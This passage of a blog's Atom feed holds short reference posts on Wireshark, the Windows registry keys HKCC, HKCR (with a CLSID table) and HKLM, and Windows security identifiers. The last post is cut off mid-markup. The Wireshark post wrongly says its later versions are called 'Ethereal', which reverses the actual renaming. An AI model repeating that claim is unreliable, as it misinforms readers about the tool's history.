Ubuntu. Click to Enlarge the Image!!&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Wireshark is a free packet analyzer computer application. It is used for network troubleshooting and analysis. Its later versions are known by the name "Ethereal".&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;"&gt;&lt;li&gt;    Data can be captured "from the wire" from a live network connection or read from a file that records the already-captured packets.&lt;/li&gt;&lt;li&gt;Supports a number of protocols, including Ethernet, IEEE 802.11, PPP, and loopback.&lt;/li&gt;&lt;li&gt;Captured network data can be browsed via a GUI, or via the terminal (command line) version of the utility, tshark.&lt;/li&gt;&lt;li&gt;Captured files can be edited or converted to the "editcap" program.&lt;/li&gt;&lt;li&gt;Data display can be refined using a display filter.&lt;/li&gt;&lt;li&gt;Plugins can be created for dissecting new protocols.&lt;/li&gt;&lt;/ul&gt;&lt;div style="text-decoration: none; text-align: justify; color: rgb(0, 0, 0); font-weight: bold; font-size: 130%;"&gt;&lt;a href="http://www.wireshark.org/download.html" target="_blank"&gt;DOWNLOAD WIRESHARK&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;Related Posts :&lt;br /&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/07/sniffer.html"&gt;SNIFFER&lt;/a&gt;&lt;br /&gt;&lt;a style="color: rgb(0, 0, 0); text-decoration: none;" href="http://swizardb.blogspot.com/2009/07/sniffing-how-it-works.html"&gt;SNIFFER - HOW IT WORKS&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-7555445946695274695?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/7555445946695274695/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/wireshark.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7555445946695274695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/7555445946695274695'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/wireshark.html' title='WIRESHARK'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-1232996590833160790</id><published>2009-08-02T14:54:00.000-07:00</published><updated>2011-06-21T05:44:15.464-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Hacking'/><title type='text'>HKEY_CURRENT_CONFIG [HKCC]</title><content type='html'>&lt;span style="font-weight: bold;"&gt;HKEY_CURRENT_CONFIG [HKCC] :&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;The information contained in this key is to configure settings such as the software and device drivers to load or the display resolution to use. This key has a software and system subkeys, which keep track of configuration information.&lt;br /&gt;&lt;br /&gt;HKCC contains information gathered at runtime; information stored in this key is not permanently stored on the hard disk,  but rather regenerated at boot time. It is a handle to the key  "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Hardware Profiles\Current",  which is initially empty but populated at boot time by loading one of  the other subkeys stored in  "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Hardware Profiles".&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;RELATED POST : &lt;a href="http://swizardb.blogspot.com/2009/08/five-keys-windows-registry-detailed.html"&gt;FIVE KEYS OF WINDOWS REGISTRY EXPLAINED&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-1232996590833160790?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/1232996590833160790/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/hkeycurrentconfig-hkcc.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1232996590833160790'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1232996590833160790'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/hkeycurrentconfig-hkcc.html' title='HKEY_CURRENT_CONFIG [HKCC]'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-5517832236614582858</id><published>2009-08-02T14:44:00.000-07:00</published><updated>2009-08-02T14:56:28.311-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Hacking'/><title type='text'>HKEY_CLASSES_ROOT [HKCR]</title><content type='html'>&lt;span style="font-weight: bold;"&gt;HKEY_CLASSES_ROOT  [HKCR]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The information stored here is used to open the correct application when a file is opened by using Explorer and for Object Linking and Embedding. It is a root key that merges &lt;span class="inlinecode"&gt;HKLM\SOFTWARE\Classes&lt;/span&gt;, and &lt;span class="inlinecode"&gt;HKCU\Software\Classes&lt;/span&gt;.&lt;br /&gt;&lt;p style="text-align: justify;" class="normal"&gt;&lt;span class="inlinecode"&gt;HKCR&lt;/span&gt; contains two types of  settings. The first type is file associations that associate different file  types with the programs that can open, print, and edit them. The second type is  class registrations for Component Object Model (COM) objects.&lt;br /&gt;&lt;/p&gt;&lt;p style="text-align: justify;" class="normal"&gt;This root key is  one of the most interesting in the registry to customize, because it enables you  to change a lot of the operating system's behavior. This root key is also the  largest in the registry, accounting for the vast majority of the space that the  registry consumes.&lt;/p&gt;&lt;p style="text-align: justify;" class="normal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style="font-weight: bold; text-align: justify;" class="normal"&gt;COM CLASS KEYS&lt;/p&gt;&lt;p style="text-align: justify;" class="normal"&gt;The key &lt;span class="inlinecode"&gt;HKCR\CLSID&lt;/span&gt; contains COM class  registrations. &lt;span class="inlinecode"&gt;HKCR\CLSID\&lt;/span&gt; &lt;span class="inlinecode"&gt;&lt;span class="emphasis"&gt;clsid&lt;/span&gt;&lt;/span&gt; is an individual class  registration, where &lt;span class="emphasis"&gt;clsid&lt;/span&gt; is the class's class ID,  which is a GUID.&lt;br /&gt;&lt;/p&gt;&lt;table class="normal"&gt;&lt;thead&gt; &lt;tr&gt; &lt;td style="font-weight: bold;"&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Object&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td style="font-weight: bold;"&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Class identifier&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/thead&gt; &lt;tbody&gt; &lt;tr style="font-weight: bold;"&gt; &lt;td colspan="2"&gt; &lt;p class="normal"&gt;&lt;span class="lead-in"  style="font-size:85%;"&gt;Shell folders&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;ActiveX Cache&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{88C6C381-2E85-11D0-94DE-444553540000}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Computer Search Results&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{1F4DE370-D627-11D1-BA4F-00A0C91EEDBA}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;History&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{FF393560-C2A7-11CF-BFF4-444553540000}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Internet Explorer&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{871C5380-42A0-1069-A2EA-08002B30309D}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;My Computer&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{20D04FE0-3AEA-1069-A2D8-08002B30309D}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;My Documents&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{450D8FBA-AD25-11D0-98A8-0800361B1103}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;My Network Places&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{208D2C60-3AEA-1069-A2D7-08002B30309D}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Offline Files&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{AFDB1F70-2A4C-11D2-9039-00C04F8EEB3E}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Programs&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{7BE9D83C-A729-4D97-B5A7-1B7313C39E0A}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Recycle Bin&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{645FF040-5081-101B-9F08-00AA002F954E}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Search Results&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{E17D4FC0-5564-11D1-83F2-00A0C90DC849}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Shared Documents&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{59031A47-3F72-44A7-89C5-5595FE6B30EE}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Start Menu&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{48E7CAAB-B918-4E58-A94D-505519C795DC}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Temporary Internet Files&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{7BD29E00-76C1-11CF-9DD0-00A0C9034933}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Web&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{BDEADF00-C265-11D0-BCED-00A0C90AB50F}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr style="font-weight: bold;"&gt; &lt;td colspan="2"&gt; &lt;p class="normal"&gt;&lt;span class="lead-in"  style="font-size:85%;"&gt;Control Panel folders&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Administrative Tools&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{D20EA4E1-3957-11D2-A40B-0C5020524153}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Fonts&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{D20EA4E1-3957-11D2-A40B-0C5020524152}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Network Connections&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{7007ACC7-3202-11D1-AAD2-00805FC1270E}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Printers And Faxes&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{2227A280-3AEA-1069-A2DE-08002B30309D}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Scanners And Cameras&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{E211B736-43FD-11D1-9EFB-0000F8757FCD}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Scheduled Tasks&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{D6277990-4C6A-11CF-8D87-00AA0060F5BF}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr style="font-weight: bold;"&gt; &lt;td colspan="2"&gt; &lt;p class="normal"&gt;&lt;span class="lead-in"  style="font-size:85%;"&gt;Control Panel icons&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Folder Options&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{6DFD7C5C-2451-11D3-A299-00C04F8EF6AF}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Taskbar And Start Menu&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{0DF44EAA-FF21-4412-828E-260A8728E7F1}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;User Accounts&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{7A9D77BD-5403-11D2-8785-2E0420524153}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr style="font-weight: bold;"&gt; &lt;td colspan="2"&gt; &lt;p class="normal"&gt;&lt;span class="lead-in"  style="font-size:85%;"&gt;Other&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Add Network Places&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{D4480A50-BA28-11D1-8E75-00C04FA31A86}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Briefcase&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{85BBD920-42A0-1069-A2E4-08002B30309D}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;E-mail&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{2559A1F5-21D7-11D4-BDAF-00C04F60B9F0}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Help And Support&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{2559A1F1-21D7-11D4-BDAF-00C04F60B9F0}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Internet&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{2559A1F4-21D7-11D4-BDAF-00C04F60B9F0}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Network Setup Wizard&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{2728520D-1EC8-4C68-A551-316B684C4EA7}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Run&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{2559A1F3-21D7-11D4-BDAF-00C04F60B9F0}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Search&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{2559A1F0-21D7-11D4-BDAF-00C04F60B9F0}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;Windows Security&lt;/span&gt;&lt;/p&gt;&lt;/td&gt; &lt;td&gt; &lt;p class="normal"&gt;&lt;span style="font-size:85%;"&gt;{2559A1F2-21D7-11D4-BDAF-00C04F60B9F0}&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-5517832236614582858?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/5517832236614582858/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/hkeyclassesroot.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5517832236614582858'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/5517832236614582858'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/hkeyclassesroot.html' title='HKEY_CLASSES_ROOT [HKCR]'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-1585703912184209096</id><published>2009-08-02T14:35:00.000-07:00</published><updated>2009-08-02T14:43:32.405-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Hacking'/><title type='text'>HKEY_LOCAL_MACHINE [HKLM]</title><content type='html'>&lt;span style="font-weight: bold;"&gt;HKEY_LOCAL_MACHINE [HKLM]&lt;/span&gt; :&lt;br /&gt;&lt;div style="text-align: justify;"&gt;This key contains configuration information particular to the computer. This information is stored in the systemroot\system32\config directory as persistent operating system files, with the exception of the volatile hardware key. &lt;span class="inlinecode"&gt;&lt;/span&gt;Settings range from device driver configurations  to Windows settings.  HKEY_LOCAL_MACHINE is probably the most important key in the registry and it contains five subkeys:&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul style="text-align: justify;" class="termdefbullet"&gt;&lt;li&gt;&lt;span style="font-weight: bold;" class="lead-in"&gt;HARDWARE.&lt;/span&gt;  &lt;p class="normal"&gt;Database that describes the physical hardware in the computer, the way device drivers use that hardware, and mappings and related data that link kernel-mode drivers with various user-mode code. The operating system creates this key each time it starts, and it  includes information about devices and the device drivers and resources  associated with them.&lt;br /&gt;&lt;/p&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;" class="lead-in"&gt;SAM.&lt;/span&gt;  &lt;p class="normal"&gt;Contains the Windows local security database, the Security  Accounts Manager (SAM). Windows stores local users and groups in &lt;span class="inlinecode"&gt;SAM&lt;/span&gt;. This key's access control list (ACL) prevents even  administrators from viewing it. &lt;span class="inlinecode"&gt;SAM&lt;/span&gt; is a link to  the key &lt;span class="inlinecode"&gt;HKLM\SECURITY\SAM&lt;/span&gt;.&lt;/p&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;" class="lead-in"&gt;SECURITY.&lt;/span&gt;  &lt;p class="normal"&gt;Contains the Windows local security database in the subkey &lt;span class="inlinecode"&gt;SAM&lt;/span&gt;, as well as other security settings. This key's ACL  prevents even administrators from viewing it, unless they take ownership of  it.&lt;/p&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;" class="lead-in"&gt;SOFTWARE.&lt;/span&gt;  &lt;p class="normal"&gt;Pre-computer software database. Contains per-computer application settings.  Microsoft standardized this key's organization so  that programs store settings in &lt;span class="inlinecode"&gt;HKLM\SOFTWARE\&lt;/span&gt;&lt;span class="emphasis"&gt;Vendor\Program\Version\&lt;/span&gt;. &lt;span class="emphasis"&gt;Vendor&lt;/span&gt; is the name of the program's publisher, &lt;span class="emphasis"&gt;Program&lt;/span&gt; is the name of the program, and &lt;span class="emphasis"&gt;Ve&lt;/span&gt;&lt;span class="emphasis"&gt;r&lt;/span&gt;&lt;span class="emphasis"&gt;sion&lt;/span&gt; is the program's version number.&lt;br /&gt;&lt;/p&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;" class="lead-in"&gt;SYSTEM.&lt;/span&gt;  &lt;p class="normal"&gt;Database that controls system start-up, device driver loading, NT 4 services and OS behavior. Contains control sets, one of which is current. The remaining  sets are available for use by Windows. Each subkey is a control set named &lt;span class="inlinecode"&gt;ControlSetnnn&lt;/span&gt;, where &lt;span class="emphasis"&gt;nnn&lt;/span&gt; is  an incremental number beginning with &lt;span class="inlinecode"&gt;001&lt;/span&gt;. The  operating system maintains at least two control sets to ensure that it can  always start properly. These sets contain device driver and service  configurations. &lt;span class="inlinecode"&gt;HKLM\SYSTEM\CurrentControlSet&lt;/span&gt; is a  link to &lt;span class="inlinecode"&gt;ControlSet&lt;/span&gt;&lt;span class="emphasis"&gt;nnn&lt;/span&gt;,  and the key &lt;span class="inlinecode"&gt;HKLM\SYSTEM\Select&lt;/span&gt; indicates which  &lt;span class="inlinecode"&gt;ControlSet&lt;/span&gt;&lt;span class="emphasis"&gt;nnn&lt;/span&gt; is in  use.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4848371105036750167-1585703912184209096?l=swizardb.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://swizardb.blogspot.com/feeds/1585703912184209096/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://swizardb.blogspot.com/2009/08/hkeylocalmachine-hklm.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1585703912184209096'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4848371105036750167/posts/default/1585703912184209096'/><link rel='alternate' type='text/html' href='http://swizardb.blogspot.com/2009/08/hkeylocalmachine-hklm.html' title='HKEY_LOCAL_MACHINE [HKLM]'/><author><name>Saurabh</name><uri>http://www.blogger.com/profile/13065559623827239806</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/-llbjtDj6dh4/Trugk1oyQEI/AAAAAAAAAO0/uwTmHq13RCk/s220/322790_2536496767127_1094833332_33086073_1739586771_o.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4848371105036750167.post-9010835835283504741</id><published>2009-08-02T14:32:00.000-07:00</published><updated>2009-08-02T14:33:04.785-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows Hacking'/><title type='text'>Security Identifiers (SIDs)</title><content type='html'>&lt;div style="text-align: justify;"&gt;Computer accounts, user accounts, groups, and other security-related objects are  &lt;span class="emphasis"&gt;security principles&lt;/span&gt;. &lt;span class="emphasis"&gt;Security  Identifiers&lt;/span&gt; (SIDs) uniquely identify security principles. Each time  Windows and Active Directory create a security principle, they generate a SID  for it. The Windows Local Security Authority (LSA) generates SIDs for local  security principles and then stores them in the local security database.&lt;br /&gt;&lt;br /&gt;&lt;p class="normal"&gt;An example of a SID is &lt;span class="inlinecode"&gt;S-1-5-21-2857422465-1465058494-1690550294-500&lt;/span&gt;. A SID  always begins with &lt;span class="inlinecode"&gt;S-&lt;/span&gt;. The next number identifies  the SID's version—in this case, version 1. The next number indicates the  identifier authority and is usually &lt;span class="inlinecode"&gt;5&lt;/span&gt;, which is NT  Authority. The string of numbers up to &lt;span class="inlinecode"&gt;500&lt;/span&gt; is the  domain identifier, and the rest of the SID is a relative identifier, which is  the account or group. This is a very rough overview of the SID format, which is  much more complex than this brief example characterizes. If you want to learn  more about SIDs, see &lt;i&gt;&lt;a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/security_identifiers.asp" target="window_2"&gt;http://msdn.microsoft.com/library/default.asp?url=/library/en-us/secauthz/security/security_identifiers.asp&lt;/a&gt;&lt;/i&gt;.&lt;/p&gt;&lt;br 